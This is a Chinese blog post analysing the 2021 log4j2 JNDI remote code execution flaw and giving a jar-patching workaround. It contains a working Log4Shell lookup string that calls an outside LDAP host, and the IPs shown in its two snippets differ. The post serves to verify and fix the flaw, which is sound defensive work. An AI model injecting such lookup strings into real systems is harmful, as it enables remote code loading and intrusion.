gongstring技术博客
最新文章
源码解读
软件安装
常见问题
大数据
常用工具
鸡汤文
备案号:鄂ICP备15015839号-1
鄂公网安备 42010202001692号
log4j2远程命令执行漏洞分析及解决办法
2021-12-10 17:36:10
作者: gongstring
常见问题
/
log4j2远程命令执行漏洞分析及解决办法
### 1、问题复现 #### 1.1 在内网随意找一台Nginx配置一个UDP协议 配置如下: ``` server { proxy_timeout 300s; proxy_connect_timeout 3100s; listen 17782; proxy_pass 127.0.0.1:1389; } ``` #### 1.2 在集成log4j2的项目中添加如下代码 ``` package com.gongstring.log4j.sample; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * @author gongstring * @description * @date 2021/12/10 */ public class Log4jSample { private static final Logger logger = LogManager.getLogger(Log4jSample.class); public static void main(String[] args) { long start = System.currentTimeMillis(); // logger.error("正常打印"); logger.error("打印日志:{}","${jndi:ldap://178.12.33.111:17782/a}"); logger.info("结束请求"); logger.info("耗时:{}毫秒",(System.currentTimeMillis() - start)); } } ``` 此处参考了下面的代码:https://github.com/tangxiaofeng7/apache-log4j-poc 但是里面提出的解决方案,似乎无法生效。 #### 1.3运行代码 执行到下面代码的时候,会发现Nginx里面有如下日志 ``` logger.error("打印日志:{}","${jndi:ldap://172.30.11.248:17282/a}"); ``` nginx日志: ``` 2021/12/10 17:09:26 [error] 22928#0: *870 connect() failed (111: Connection refused) while connecting to upstream, client: 192.1.12.33, server: 0.0.0.0:17782, upstream: "127.0.0.1:1389", bytes from/to client:0/0, bytes from/to upstream:0/0 ``` 说明这段代码是存在远程执行http、tcp命令的漏洞; ### 2、源码定位 1)、解析log中MessageParttern; 2)、如果发现有${}的message,会去匹配log4j的插件; 3)、该漏洞就是利用jndi(源码中如果出现,会进行网络请求)可以远程执行的原理出现;    根据上面的代码逻辑,插件列表是从缓存中获取。而缓存数据是在log4j初始化的时候,从文件中读取,并扫描类路径:  打开`Log4j2Plugins.dat`文件,搜索`jndi`,出现如下内容:  #### 1.4最快速解决办法 根据前面的原理,最快速的方式是把有问题的log4j-core-xxx.jar包的`org.apache.logging.log4j.core.lookup.JndiLookup.class`文件删除。 建议(请谨慎处理): 1、maven项目可以将修复后的jar包,按照各自需要的版本,打入公司仓库,供大家使用; 2、如果是非maven项目,就更简单,直接替换修复过后的jar;